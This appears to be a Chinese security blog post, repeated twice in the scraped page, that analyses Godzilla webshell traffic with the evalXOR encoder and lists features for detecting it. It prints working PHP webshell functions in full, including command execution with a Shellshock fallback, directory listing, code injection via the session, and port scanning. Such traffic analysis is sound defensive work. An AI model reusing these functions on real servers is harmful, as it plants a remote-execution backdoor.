tOGyYHfirCZ/dWO967vaNG2afKQrqfhJqgXua+WvBtyY4Afe3y2bZvmPJHuDQqgubhMzhIZtCVBDRYUyw6zOX6FFUQSrhMIifAL3uaCPThKjKhK11zgAsSoQ/xmDEFdkJLwZWdri5Ro2Myf6EJ0dDaVrxX465goc/ugEaZR8/7fagdhl5U6Wq5DDHJbeOgzzrHB0i+/nECwF4P0oA/EFvLtgZwrufO2a7+rY3QjBF/MVeRXivsSHDRi6yRC+8jwtiNcV03EALJfKMP5tmZoBDzCtWdzDH987X0CJDz5hviwr8PhcBZ7ZTd5TrxTZhjhTK3TPaD9c1uTqZDlj
在命令执行中psot包也使用了gzip压缩,与check阶段的包不同
解密得到
cmdLine0sh -c "cd "/www/wwwroot/upload/upload/";ls" 2>&1methodName execCommand
通过上面的逻辑不难看出,调用了execCommand函数 执行的命令为 sh -c "cd "/www/wwwroot/upload/upload/";ls" 2>&1
sh -c "cd "/www/wwwroot/upload/upload/";ls" 2>&1
function execCommand(){ @ob_start(); // 开启输出缓冲 $cmdLine = get("cmdLine"); // 获取命令行参数 // 根据当前系统设置 PATH 环境变量 if(substr(__FILE__,0,1)=="/"){ @putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"); }else{ @putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;"); } $result=""; // 存储命令执行结果 // 如果不存在名为 runshellshock 的函数,则定义该函数 if (!function_existsEx("runshellshock")){ function runshellshock($d, $c) { // 判断当前系统是否受 shellshock 漏洞影响 if (substr($d, 0, 1) == "/" && function_existsEx('putenv') && (function_existsEx('error_log') || function_existsEx('mail'))) { if (strstr(readlink("/bin/sh"), "bash") != FALSE) { // 利用 shellshock 漏洞执行命令 $tmp = tempnam(sys_get_temp_dir(), 'as'); putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1"); if (function_existsEx('error_log')) { error_log("a", 1); } else { mail("[email protected]", "", "", "-bv"); } } else { return False; } $output = @file_get_contents($tmp); @unlink($tmp); if ($output != "") { return $output; } } return False; }; } // 根据可用的函数执行系统命令 if(function_existsEx('system')){ @system($cmdLine,$ret); }elseif(function_existsEx('passthru')){ $result=@passthru($cmdLine,$ret); }elseif(function_existsEx('shell_exec')){ $result=@shell_exec($cmdLine); }elseif(function_existsEx('exec')){ @exec($cmdLine,$o,$ret); $result=join("\n",$o); }elseif(function_existsEx('popen')){ $fp=@popen($cmdLine,'r'); while(!@feof($fp)){ $result.=@fgets($fp,1024*1024); } @pclose($fp); }elseif(function_existsEx('proc_open')){ $p = @proc_open($cmdLine, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); while(!@feof($io[1])){ $result.=@fgets($io[1],1024*1024); } while(!@feof($io[2])){ $result.=@fgets($io[2],1024*1024); } @fclose($io[1]); @fclose($io[2]); @proc_close($p); }elseif(substr(__FILE__,0,1)!="/" && @class_exists("COM")){ $w=new COM('WScript.shell'); $e=$w->exec($cmdLine); $so=$e->StdOut(); $result.=$so->ReadAll(); $se=$e->StdErr(); $result.=$se->ReadAll(); }elseif (function_existsEx("pcntl_fork")&&function_existsEx("pcntl_exec")){ // 使用 pcntl_fork 和 pcntl_exec 执行命令 $cmd="/bin/bash"; if (!file_exists($cmd)){ $cmd="/bin/sh"; } $commandFile=sys_get_temp_dir()."/".time().".log"; $resultFile=sys_get_temp_dir()."/".(time()+1).".log"; @file_put_contents($commandFile,$cmdLine); switch (pcntl_fork()) { case 0: $args = array("-c", "$cmdLine > $resultFile"); pcntl_exec($cmd, $args); // 子进程只有在执行失败时才会到达此处,因为执行会切换到 pcntl_exec() 的命令 exit(0); default: break; } if (!file_exists($resultFile)){ sleep(2); } $result=file_get_contents($resultFile); @unlink($commandFile); @unlink($resultFile); }elseif(($result=runshellshock(__FILE__, $cmdLine)!==false)) { }else{ // 如果没有可用的函数执行命令,则返回错误消息 return "none of proc_open/passthru/shell_exec/exec/exec/popen/COM/runshellshock/pcntl_exec is available"; } // 将输出缓冲中的内容追加到结果中 $result .= @ob_get_contents(); @ob_end_clean(); return $result; // 返回执行结果 }
阅读代码可以看出来,除了一些常见的命令执行函数,它还使用了COM对象与shellshock漏洞来尝试做命令执行
相对于蝎子和蚁剑,可以说他是最全的
返回信息经过解密后,不意外就是执行过后的内容
通过解码后,可以看到三个参数,但其实是四个
正确排列应为
methodNamegetFiledirName/www/wwwroot/upload/upload/
也就是调用的函数应为
function getFile(){ $dir=get('dirName'); $dir=(strlen(@trim($dir))>0)?trim($dir):str_replace('\\','/',dirname(__FILE__)); $dir.="/"; $path=$dir; $allFiles = @scandir($path); $data=""; if ($allFiles!=null){ $data.="ok"; $data.="\n"; $data.=$path; $data.="\n"; foreach ($allFiles as $fileName) { if ($fileName!="."&&$fileName!=".."){ $fullPath = $path.$fileName; $lineData=array(); array_push($lineData,$fileName); array_push($lineData,@is_file($fullPath)?"1":"0"); array_push($lineData,date("Y-m-d H:i:s", @filemtime($fullPath))); array_push($lineData,@filesize($fullPath)); $fr=(@is_readable($fullPath)?"R":"").(@is_writable($fullPath)?"W":"").(@is_executable($fullPath)?"X":""); array_push($lineData,(strlen($fr)>0?$fr:"F")); $data.=(implode("\t",$lineData)."\n"); } } }else{ return "Path Not Found Or No Permission!"; } return $data; }
传入的参数 dirName内容为 /www/wwwroot/upload/upload/
dirName
/www/wwwroot/upload/upload/
符合预期
哥斯拉的插件是通过将实现的php函数传入session,拿端口扫描举例,第一次运行的时候会发送两个包
codeNamePortScan binCode?function portscan($scanip, $scanport="80") { $ret=array(); foreach(explode(",", $scanport) as $port) { $fp = @fsockopen($scanip, $port, $errno, $errstr, 1); if(!$fp) { array_push($ret,$scanip."\t".$port."\t0"); } else { array_push($ret,$scanip."\t".$port."\t1"); @fclose($fp); } } return implode("\n",$ret); } $scanip=get("ip"); $scanport=get("ports"); if ($scanip!=null&&$scanport!=null){ return portscan($scanip,$scanport); }else{ return "ip or ports is null"; }methodNameincludeCode
通过 methodNameincludeCode跟踪到includeCode函数
methodNameincludeCode
function includeCode(){ $classCode=get("binCode");// 导入的函数 $codeName=get("codeName");//函数名 $_SES=&getSession(); $_SES[$codeName]=$classCode; //存储 return "ok"; }
不难推出
$classCode= [code] $codeName=PortScan
返回ok
解码
ip192.168.56.4codeNamePortScan methodNamerun ports8873,3306,80,8080,81,21,22,88,8088,8888,1433,443,445,3389
根据发送判断,可以得知他执行了上一个发送包存储的payload
function portscan($scanip, $scanport="80") { $ret=array(); foreach(explode(",", $scanport) as $port) { $fp = @fsockopen($scanip, $port, $errno, $errstr, 1); if(!$fp) { array_push($ret,$scanip."\t".$port."\t0"); } else { array_push($ret,$scanip."\t".$port."\t1"); @fclose($fp); } } return implode("\n",$ret); } $scanip=get("ip"); $scanport=get("ports"); if ($scanip!=null&&$scanport!=null){ return portscan($scanip,$scanport); }else{ return "ip or ports is null"; }
通过代码推测,输出可能为
192.168.1.100 80 1 192.168.1.100 443 0 192.168.1.100 8080 1
这样的格式
哥斯拉无论是流量还是shell的实现方式都非常不同于冰蝎与蚁剑,他不仅功能强大,而且在evalXOR解码器下还兼容一句话shell,成也兼容,败也兼容,哥斯拉在使用evalXOR解码器时会将他的标准木马编码后一起发送到服务端,虽然经过编码但解码并不困难而且其中有关键的异或密钥,也成为了在evalXOR中一个很有识别度的特征点
在前三个包中,哥斯拉的发送包为与密钥是简单异或关系,内容也是固定的,第一个包发送payload,通过木马存入SESSION——这也是哥斯拉不同于其他webshell的第二特征——后返回PHPSESSID,第二个包调用了刚刚发送的payload中的test函数,如果有返回证明连接建立,第三个包调用了payload中的getBasicsInfo函数,用于读取服务器的详细信息,整理后返回。
虽然说发送包与密钥的关系是简单的异或后base64编码,但也仅限于前三个包,而且不包括返回值,返回值与后续包的解码流程需要在之后再进行gzdecode解码,也就是
data —————— base64decode —————— 密钥异或 —————— gzdecode
且返回值头尾分别包含了传参值与密钥值的md5的前后16位,解码时需要忽略
哥斯拉的协议头为用户设计成了用户可编辑,默认为
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
但因为可编辑,所以除非使用者完全没有修改,否则参考价值不大
哥斯拉与蚁剑冰蝎最大的不同在与他们更多是需要某些功能时发送对应php代码来执行,而哥斯拉使用了session来存储payload,将常用的功能实现存储到了session中,调用仅需发送特制的数据包即可,对于插件的实现也是如此,只不过插件代码仅在需要时发送,也就是说我们可以通过解码发送返回包来确认哥斯拉使用了哪些插件,与插件的实现代码
总结
在phpXOR环境下哥斯拉的主要特征在与
1.PHPSESSID [正常的不会有分号]
2.UA头 [弱特征]
3.明文的完整shell [特定加密器才有]
总结到最后,不难发现,哥斯拉的一切努力似乎都在向隐蔽这一个方向发展并非对人,而是对于安全设备来说,在常用的三个webshell管理器中他的特征是最少的,如果让我在三个webshell管理器让我只能选择一个的话,我会选哥斯拉
发这里 大概率 大家都看不懂
虽然看不懂,持续学习中...
Popular Ranking
Popular Events
哥斯拉流量分析
这是webshell流量分析哥斯拉篇
check流量
当下的分析会建立php5.3使用evalXOR解码器
当点击测试连接他会发送返回三组包
第一个包
第二个包
第三个包
其实第一个特征已经出来了,不难看出在PHP_EVAL_XOR_BASE64这个加密器的情况下,哥斯拉会将他的完整shell通过密码参数传入服务器,且每个包都会
解码
在一句话木马的情况下,哥斯拉4.0.1在check包中会有两个传参分别是一句话设置的密码与在客户端设置的密钥
他并不像其他webshell,哥斯拉不仅将payload进行了base64编码,还将编码后的内容做了字符反转
通过反转解码可得到
来简单分析一下
pass的内容为客户端设置,传输过去的中间木马会将key作为post输入接受传参后通过encode函数与密钥XOR加密后传入data变量,if判断_SESSION内容如果没有则再判断内容是否有getBasicsInfo,如果有则将data进行加密后传入SESSION
通过解包我们可以找到哥斯拉的payload文件
他应该就是判定的这串字符
接下来关注的函数肯定是encode,这个编码器使用的是异或的方式进行加密解密
pass变量等于key,这是在客户端设置的随后pass变量被传入了
base64_decode($_POST[$pass])
等同于base64_decode($_POST['key'])
尝试使用第二个包来解密
base64
而后进行异或解码,直接复用
check包分析
第一个包
根据上面的分析,不难看出第一包的kay肯定是payload
哥斯拉并非向蝎子一样模块了部分payload,而是将所有的payload整合进了一个文件,在check时将payload存入了$_SESSION
将key解密后可以得到和反编译后payload一致的文件
第二包
key解密后为methhdNametest,通过阅读代码,在payload释放后key中的信息在
echo base64_encode(encode(@run($data),$key));
被传入了位于payload的run()函数而后又传入了formatParameter()函数格式化
第二个包参数methhdNametest传入后解码为键值对再传入数组$parameters
回到run函数,在看一个关键函数evalFunc();
通过get函数获取了parameters变量中的键值
刚刚在formatParameter处理过的信息传入了parameters在这里接受了调用,返回了evalFunc()后作为函数名执行
传入的参数为methhdNametest 处理过后被执行的函数应为test()
接着往下跟返回的信息通过gziencode做了压缩
而后才返回到木马
根据代码可以看出来 最后的输出结构是这样
72a9c691ccdaab98fL1tMGI4YTljMv79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488
,掐头去尾fL1tMGI4YTljMv79NDQm7r9PZzBiOA==
解码脚本
在check阶段返回包的解密过程只比发送包多了一个gzip的压缩
通过返回解码后为
ok
第三包
通过相同手法先解密发送包
methodName getBasicsInfo
逻辑同上,payload将执行
getBasicsInfo
函数命令执行
发送包
在命令执行中psot包也使用了gzip压缩,与check阶段的包不同
解密得到
cmdLine0sh -c "cd "/www/wwwroot/upload/upload/";ls" 2>&1methodName execCommand
通过上面的逻辑不难看出,调用了execCommand函数 执行的命令为
sh -c "cd "/www/wwwroot/upload/upload/";ls" 2>&1
阅读代码可以看出来,除了一些常见的命令执行函数,它还使用了COM对象与shellshock漏洞来尝试做命令执行
相对于蝎子和蚁剑,可以说他是最全的
返回包
返回信息经过解密后,不意外就是执行过后的内容
文件查询
发送包
通过解码后,可以看到三个参数,但其实是四个
正确排列应为
methodNamegetFiledirName/www/wwwroot/upload/upload/
也就是调用的函数应为
传入的参数
dirName
内容为/www/wwwroot/upload/upload/
返回包
符合预期
端口扫描
哥斯拉的插件是通过将实现的php函数传入session,拿端口扫描举例,第一次运行的时候会发送两个包
1. 发送包
通过
methodNameincludeCode
跟踪到includeCode函数不难推出
返回ok
1. 返回包
解码
符合预期
2. 发送包
根据发送判断,可以得知他执行了上一个发送包存储的payload
通过代码推测,输出可能为
这样的格式
2. 返回包
符合预期
总结
哥斯拉无论是流量还是shell的实现方式都非常不同于冰蝎与蚁剑,他不仅功能强大,而且在evalXOR解码器下还兼容一句话shell,成也兼容,败也兼容,哥斯拉在使用evalXOR解码器时会将他的标准木马编码后一起发送到服务端,虽然经过编码但解码并不困难而且其中有关键的异或密钥,也成为了在evalXOR中一个很有识别度的特征点
在前三个包中,哥斯拉的发送包为与密钥是简单异或关系,内容也是固定的,第一个包发送payload,通过木马存入SESSION——这也是哥斯拉不同于其他webshell的第二特征——后返回PHPSESSID,第二个包调用了刚刚发送的payload中的test函数,如果有返回证明连接建立,第三个包调用了payload中的getBasicsInfo函数,用于读取服务器的详细信息,整理后返回。
虽然说发送包与密钥的关系是简单的异或后base64编码,但也仅限于前三个包,而且不包括返回值,返回值与后续包的解码流程需要在之后再进行gzdecode解码,也就是
且返回值头尾分别包含了传参值与密钥值的md5的前后16位,解码时需要忽略
哥斯拉的协议头为用户设计成了用户可编辑,默认为
但因为可编辑,所以除非使用者完全没有修改,否则参考价值不大
哥斯拉与蚁剑冰蝎最大的不同在与他们更多是需要某些功能时发送对应php代码来执行,而哥斯拉使用了session来存储payload,将常用的功能实现存储到了session中,调用仅需发送特制的数据包即可,对于插件的实现也是如此,只不过插件代码仅在需要时发送,也就是说我们可以通过解码发送返回包来确认哥斯拉使用了哪些插件,与插件的实现代码
总结
在phpXOR环境下哥斯拉的主要特征在与
1.PHPSESSID [正常的不会有分号]
2.UA头 [弱特征]
3.明文的完整shell [特定加密器才有]
总结到最后,不难发现,哥斯拉的一切努力似乎都在向隐蔽这一个方向发展并非对人,而是对于安全设备来说,在常用的三个webshell管理器中他的特征是最少的,如果让我在三个webshell管理器让我只能选择一个的话,我会选哥斯拉